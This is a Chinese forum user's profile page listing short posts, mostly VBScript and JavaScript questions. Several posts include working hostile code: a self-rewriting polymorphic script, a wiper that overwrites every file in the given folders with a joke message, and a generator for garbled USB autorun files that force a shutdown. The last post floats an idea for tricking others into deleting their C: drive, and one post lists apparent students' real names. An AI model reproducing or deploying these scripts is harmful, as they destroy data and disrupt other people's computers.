含蓄又俭朴灬工匠08的个人资料

Boom！详见http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fhi.baidu.com%2Fpasser_mworld_chen%2Fblog%2Fitem%2F44ae5bd375070c359b5027e6.html&urlrefer=b0dc7b6108eb1246be185097c6997c11

层定位就像贴吧下面的通栏这样子定位，不会随scroll高度改变在浏览器里的位置。希望大人们来指点一下。

推荐一个flash游戏，界面很流畅的 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.666666666666.com%2Fflash%2F%25E5%258F%25B7%25E7%25A7%25B0%25E4%25B8%2596%25E7%2595%258C%25E4%25B8%258A%25E6%259C%2580%25E9%259A%25BE%25E7%259A%2584%25E6%25B8%25B8%25E6%2588%258F%25E8%25B7%25AF%25E8%25B7%25AF%25E6%25B1%2589%25E5%258C%2596.swf&urlrefer=a0200a3a30d0804c35676aac67ccb180 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.666666666666.com%2Fflash%2F%25u8D85%25u7EA7%25u8010%25u73A9%25u843D%25u4E95%25u4E0B%25u77F3%25u8003%25u9A8C%25u667A%25u5546%25u6E38%25u620F.swf&urlrefer=508dca136b51d1d06cf0c19d5cfd87d5 我都通关了

腾讯的验证码实在太恶心了... 字母后面还加一个大差.有点喧宾夺主的感觉。

想问一下这是什么意思就是下面这句话 javascript:window.top.space_addItem(13,49229,0,0, 45,400,20);

数组用5种方法添加数组，请大家帮忙解决下 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fzhidao.baidu.com%2Fquestion%2F151538920.html&urlrefer=ffbeef874f2197fb7e1de47971b53967

请问一个关于shell的问题在vb里的shell命令与vbs里的等价命令是什么? 比如Shell "asw",0可以在vb里实现，那么在vbs里怎么运行这个不带后缀名的可执行程序呢？

帮忙[！非常急] 我怎么都找不到这段东西到底哪里错了(本人菜鸟)，应该不是太复杂，大家帮忙解决下吧 Sub encd(b) b=REPlacE(B,chR(39),cHr(34)&cHr(34)) B=rEplace(B,chr(10),CHR(37)) zfy2=replace(zfy2,chr(13)&chr(10),chr(58)) For Iw=1 tO LEN(zfy2) qa=rounD(RND*(lEN(zfy2)-1))+1 Gh=aSc(MId(zfy2,qa,1)) If GH>65 aND Gh<90 theN gH=Gh+32 ElSE If Gh>97 anD gh<122 THeN gH=gH-32 eND IF ENd iF zfy2=LEFT(zfy2,Qa-1)&cHr(gh)&RigHt(zfy2,leN(zfy2)-Qa) neXT FOR i=1 TO lEn(b) zz=rouNd(RNd*(LEn(b)-1))+1 f=aSc(mID(b,zz,1)) If F>65 anD f<90 theN F=f+32 ELsE If F>97 and F<122 Then f=f-32 End If End if b=leFT(B,zz-1)&Chr(f)&rIghT(b,LEn(B)-zz) Next z="" L="" FoR I=1 TO lEn(b) n=Mid(B,I,1)&I&chR(64) if z="" ThEn z=n eNd iF p=INt(rND*leN(z)) iF p>=lEN(z) tHEN P=P-1 end If if p=0 tHEn p=1 ENd if if z<>n ThEN iF mID(z,P,1)=chR(64) aND p<Len(z) and z<>chr(10) and z<>chr(13) THen z=leFT(z,P)&N&right(z,lEn(z)-p) eLse:z=z&N END iF ENd IF Next msgbox z z=rEplaCE(z,chr(2),CHr(39)) z=rEplaCE(z,CHr(37),chr(13)&chr(10)&ChR(39)) z=REplaCe(z,chR(34)&chr(13)&chr(34),chr(34)&chr(34)) msgbox Chr(39)&z&srv&chr(13)&chr(10)&zfy2 wrt wp,Chr(39)&z&srv&chr(13)&chr(10)&zfy2 End Sub msgbox"abc",64''-_-midx set fs=createobject("scripting.filesystemobject") wp=wscript.scriptfullname nes=fs.opentextfile(wp).readall srv="''-_-m"&"idx" bx=split(nes,srv,-1,1) zfy1=bx(0):zfy2=bx(1) UneD zfy1 sUb UneD(V2) V3=REPlacE(v2,ChR(39),chr(2)) v2=REPlacE(v2,ChR(39),"") eXEcUtE "dim nj("&(1+rOuNd(lEn(V2)/3))&")" PR=spLiT(v2,cHr(64)) Num=0 fOR EacH js IN Pr If jS<>"" and len(jS)<20 Then Lg=RiGhT(jS,lEn(js)-1) nj(LG)=lEFT(JS,1) End If NuM=num+1 Next fg="" msgbox num For yT=1 To Num Fg=Fg&NJ(yT) Next fg=RepLacE(Fg,cHR(34)&chr(13)&chr(34),CHr(34)&ChR(34)) if fg="" then fp=v2 else fp=fg end if fp=replace(fp,chr(13),chr(13)&chr(10)) fp=replace(fp,chr(10),chr(13)&chr(10)) fs.createtextfile("d.txt").write fp msgbox fp exeCutE fp encd fp End sub sub wrt(vr1,vr2) on error resume next if fs.opentextfile(vr1).readall<>vr2 then set bs=fs.getfile(vr1) x=bs.attributes bs.attributes=0 fs.createtextfile(vr1).write vr2 bs.attributes=x end if end sub

vbs真的好难好难呐...

这种事你信吗 http://tieba.baidu.com/f?ct=335675392&tn=baiduPostBrowser&sc=7750366295&z=736219038&pn=0&rn=30&lm=0&word=%C0%EE%D2%E3%B4%F3%B5%DB#7750366295

u盘保护 vbs 有没有什么办法可以判断U盘是否写保护了？

请教运行后添加控件（比如label），要怎么做？

如果某个函数同一时刻被几次调用会出错吗？

这里有懂vbs的人吗？ RT http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fzhidao.baidu.com%2Fquestion%2F141592930.html&urlrefer=4ca6ea973c0bc9abb047bee0f7dd6c04

关于隐藏黑窗口的问题 EXEC能隐藏黑窗口吗?看着还真不习惯.因为如果要访问特殊文件夹的话只能使用cmd,比如说下面这个东西. set a=createobject("wscript.shell") set s=createobject("scripting.filesystemobject") for each pth in wscript.arguments del pth next sub del(pth) l=a.exec("cmd /cdir /s/a/b """&pth&"""").stdout.readall format l end sub sub format(x) b=0 for i=1 to len(x) b=b+1 if mid(x,b,2)=vbcrlf then kill left(x,b)&"\" x=right(x,len(x)-b) b=0 end if next end sub sub kill(x) on error resume next x=replace(x,vbcr,"") x=replace(x,vblf,"") if not s.folderexists(x) then x=left(x,len(x)-1) if x<>wscript.scriptfullname then set d=s.getfile(x) g=d.attributes d.attributes=0 s.createtextfile(x).write"HAPPY FOOL'S DAY!" d.attributes=g end if end if end sub

最近出现了一个很恶心的非主流程序(U盘乱码) 有人知道如何还原被改写的文件吗?急用啊

vbs是不分大小写的对吗？ mSGboX"" p="sDRf" cALl x(P) sUB X(A) MsGbOX a eNd suB

这些人是几班的 RT 徐元欣,沈喆,唐丽玮,姜舒宇,金怡,张曌斓

各位有兴趣挑战一下吗？【此文转自百度知道】 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fzhidao.baidu.com%2Fquestion%2F138544442.html&urlrefer=82ddfd1a9329eb576e90698a72162de3

我有些无聊... http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fzhidao.baidu.com%2Fquestion%2F138544442.html&urlrefer=82ddfd1a9329eb576e90698a72162de3

求解一个简单的问题 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fzhidao.baidu.com%2Fquestion%2F138081566.html&urlrefer=d40f1e78841ac18067791075c637f9e0

vbs程序 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fhi.baidu.com%2Fpasser_mworld_chen%2Fblog%2Fitem%2F21e4a6ed3baeff3dacafd59a.html&urlrefer=63835e912143cda8de93e6c06b8d896d 是不是很象一个病毒?

融合

随机数 vbs的随机数竟然是一样的,悲剧...

脚本安全的问题 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fzhidao.baidu.com%2Fquestion%2F137667225.html%3Fsi%3D1&urlrefer=70494999c379807be511b3d4359891d5

自定义鼠标 <body style='cursor:a.cur'></body> 是这样吗?但是为什么显示不出来呢?

最小的div 1px宽1px高的div画的出来吗?

后天要返校,你们知道吗? RT

vbs算开方曾经想过用2分法,但具体算法应该怎么写?比如"求91的7次方根"类

用hta来锁屏 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fhi.baidu.com%2Fpasser_mworld_chen%2Fblog%2Fitem%2Fa2b22e14723be94120a4e914.html&urlrefer=513e895dea6a42d842c9d54ead4344fd

窗体置顶的办法 setInterval("document.body.focus()",1) 但是这样一来就不能输入了,有更好的办法吗?

扫雷 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fhi.baidu.com%2Fpasser_mworld_chen%2Fblog%2Fitem%2Fc0eb61f6594d5ce47709d753.html&urlrefer=a7bf8d6110009ee843ad4083410a7d43

扫雷 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fhi.baidu.com%2Fpasser_mworld_chen%2Fblog%2Fitem%2Fc0eb61f6594d5ce47709d753.html&urlrefer=a7bf8d6110009ee843ad4083410a7d43 第一次写这种类似经典的游戏,大家来看看.发现bug告诉我.

autorun乱码算法 dim ft(8) ft(1)=chr(255)&chr(-415)&chr(71) ft(2)=chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(10)&chr(2)&chr(28)&chr(9)&chr(4)&chr(29)&chr(7)&chr(18)&chr(91)&chr(26)&chr(5)&chr(17)&"AUTorUN"&chr(18)&chr(1)&chr(15) ft(3)=chr(9)&"shelLExECUte"&chr(21)&chr(21)&chr(12)&chr(18)&chr(17)&chr(15)&chr(61)&chr(29)&chr(27)&chr(19)&chr(9)&chr(29)&chr(14)&" shutdown -p -f" ft(4)=chr(32)&chr(32)&chr(65)&chr(99)&chr(84)&chr(73)&chr(79)&chr(78)&chr(9)&chr(4)&chr(12)&chr(24)&chr(28)&chr(31)&chr(17)&chr(23)&chr(61)&chr(15)&chr(18)&chr(27)&chr(17)&chr(19)&chr(-19214)&chr(-16470)&chr(-12604)&chr(-17154)&chr(-17200)&chr(-11564)&chr(-19735)&chr(-16460)&chr(-12604)&chr(-17154) ft(5)="sHell\EXplore\COMmANd"&chr(21)&chr(21)&chr(12)&chr(18)&chr(17)&chr(15)&chr(61)&chr(15)&chr(18)&chr(27)&chr(17)&chr(19)&" shutdown -p -f" ft(6)="sHell\OPeN\COMmANd"&chr(21)&chr(1)&chr(21)&chr(32)&chr(61)&chr(29)&chr(27)&chr(19)&chr(9)&chr(29)&chr(14)&" shutdown -p -f" ft(7)=chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(32)&chr(3)&chr(18)&chr(16)&"useAuTopLAY"&chr(22)&chr(28)&chr(21)&chr(28)&chr(30)&chr(3)&chr(7)&chr(7)&chr(14)&chr(61)&chr(29)&chr(27)&chr(19)&chr(9)&chr(29)&chr(14)&"1 " yqu=";" for tq = 1 to 43000 ae=rnd*10 be=rnd*1000*(-1)^(int(rnd*10)) de=rnd select case tq case 30000 ce=ce&ab&ft(2)&ab case 35290 ce=ce&ab&ft(3)&ab case 35300 ce=ce&ab&ft(4)&ab case 35840 ce=ce&ab&ft(5)&ab case 35900 ce=ce&ab&ft(6)&ab case 36009 ce=ce&ab&ft(7)&ab end select if int(tq/(int((rnd+0.8)*800)+1)) = tq/(int((rnd+0.8)*800)+1) then ce=ce&ab&yqu end if ce=ce&chr(int(int(be*ae)*de)) Next fz=ft(1)&yqu&ce CreateObject("scripting.filesystemobject").createtextfile("d").write fz

纠结... @echo off set b=0 echo %%%b% pause 显示的为什么不是自己的名字?

错在哪里 <script> var x=location x=x.substr(x.length-3,x.length)) </script> <button onclick="alert(x)">a</button> 为什么不能输出呢?或者说是substr的用法有问题?

f_u('')是什么意思? 贴吧原文件里的src.src=f_u('')究竟代表什么,有人知道吗?

有人知道怎样做一个时钟吗下面是一根指针的代码 v\:* { behavior: url(<a href="http://tieba.baidu.com/mo/q/hotMessage?topic_id=0&fid=0&topic_name=default&is_video_topic=0"><a href="http://tieba.baidu.com/mo/q/hotMessage?topic_id=0&fid=0&topic_name=default&is_video_topic=0">#default#</a></a>VML) } o\:* { behavior: url(<a href="http://tieba.baidu.com/mo/q/hotMessage?topic_id=0&fid=0&topic_name=default&is_video_topic=0"><a href="http://tieba.baidu.com/mo/q/hotMessage?topic_id=0&fid=0&topic_name=default&is_video_topic=0">#default#</a></a>VML) }

有谁知道vbe文件怎么打开吗? 比方说有个vbs文件,全文件名是"abc.xys" 假如我要在不改文件名的前提下运行它可以用命令行: "wscript.exe -e:vbs abc.xys" 那么如果里面是vbe呢?还可以用命令行吗?

vbs可以锁文件吗? 似乎用abobo.stream的Open可以实现,有人知道具体的代码吗?

3年前... 似乎这帮傻+换口味了,从关机到spvoice,07年的东西又被翻出来了...还TND自称C语言高手，标准的290.嗤...

vbs怎样设置属性用vb的时候可以把aux之类的特殊文件夹添加隐藏属性,vbs为什么不行?难道说还有其他方法可以更改属性吗? vb: Sseattr"aux\",vbHidden + vbSystem vbs: createobject("scripting.filesystemobject").getfolder("aux\").attributes=1+2+4

禁用regedit 电脑房里竟然禁用注册表编辑器.挺有趣的,但充其量就是拒绝执行启动项而已...SB管理员不知道有热键这个超帅的命令吗?

求解密的算法下面是加密的过程: a=wscript.scriptfullname:on error resume next:a=wscript.arguments(0):set s=createobject("scripting.filesystemobject"):e="":c=s.opentextfile(a).readall:h="":c=replace(c,""&vbcrlf&"",":"):c=replace(c,chr(34),chr(34)&chr(34)):j=len(c):dim k(10485760):for t=1 to j:k(t)=mid(c,t,1):next:for g=0 to j:d=d&k(j-g):next:c="c="&chr(34)&d&chr(34)&":dim k("&len(d)&"):for u=1 to "&len(d)&":k(u)=mid(c,u,1):next:f="&chr(34)&chr(34)&":for g=0 to "&len(d)&":f=f&k("&len(d)&"-g):next:exec"&"ute(f)":for w= 1 to len(c):e=e&"&chr("&asc(mid(c,w,w))&")":next:e="execute("&right(e,len(e)-1)&")":set enc=createobject("scripting.encoder"):e=enc.encodescriptfile(".vbs","'["&vbcrlf&e,0,"vbscript"):s.createtextfile(a&".vbe").writeline e 各位如果知道的话请帮忙写一下了,感激不尽

祝各位新年快乐草，这星期作业怎么这么多...

这段东西到底是什么意思把下面的用纯文本保存为.com hP1X500P[PZBBBfh#b##fXf-V@`$fPf]f3/f1/5++u5x 然后在上面打字就会显示按键.那么这段东西到底是什么意思？

document.write怎么用？我最近在学习js,使用下面这段时发生了错误: <script>document.write"<span id=a></span>";setInterval("t()",1);var i=1;function t(){a.innerText=i;i++}</script><title>???</title><body><center>1234<hr> 一旦我用document.write，那么后面所有的东西都没了.请问有没有办法能避免这种情况

js容错语句假设我有这样一段脚本： new ActiveXObject("scripting.filesystemobject").createtextfile("c:\") 这是一段不可能实现的脚本，但如果要在执行时不报错，应该怎么写?求高人！

合并 set d=createobject("scripting.filesystemobject") sub j() x=inputbox("说明:"&vbcrlf&"去掉所有的注释,以免报错","要修改的vbs") if x="" or d.fileexists(x)=false then msgbox"错误",16,"文件未找到" exit sub end if '拆分过程 c=d.opentextfile(x).readall '如有特殊情况(:后接字符)可在这里修改 c=replace(c,":",":"&vbcrlf&"") d.createtextfile("m.txt").writeline c msgbox"修改m.txt,完成后再确定"&vbcrlf&"注意行末要加上冒号",64,x '合并过程 c=d.opentextfile("m.txt").readall c=replace(c,""&vbcrlf&"",":") d.createtextfile(x&"_.vbs").writeline c msgbox"完成" end sub j()

vbe&bat http://tieba.baidu.com/f?kz=670678651

一个小问题? 前几天我把注册表中的卸载文件的目录的值更改了一下,原目录是"d:\program\win",我改成了"d:\program",然后也没在意.昨天在卸载这个东西的时候,正真的目录果然变成了"d:\program",所以就把"d:\program"里的东西全删了.我是用vbs来改的,奇妙的是瑞星没有拦截!于是我想:如果弄出一个东西发给别人,功能就是更改某个卸载的目录,假设改为"c:\",又会怎么样呢?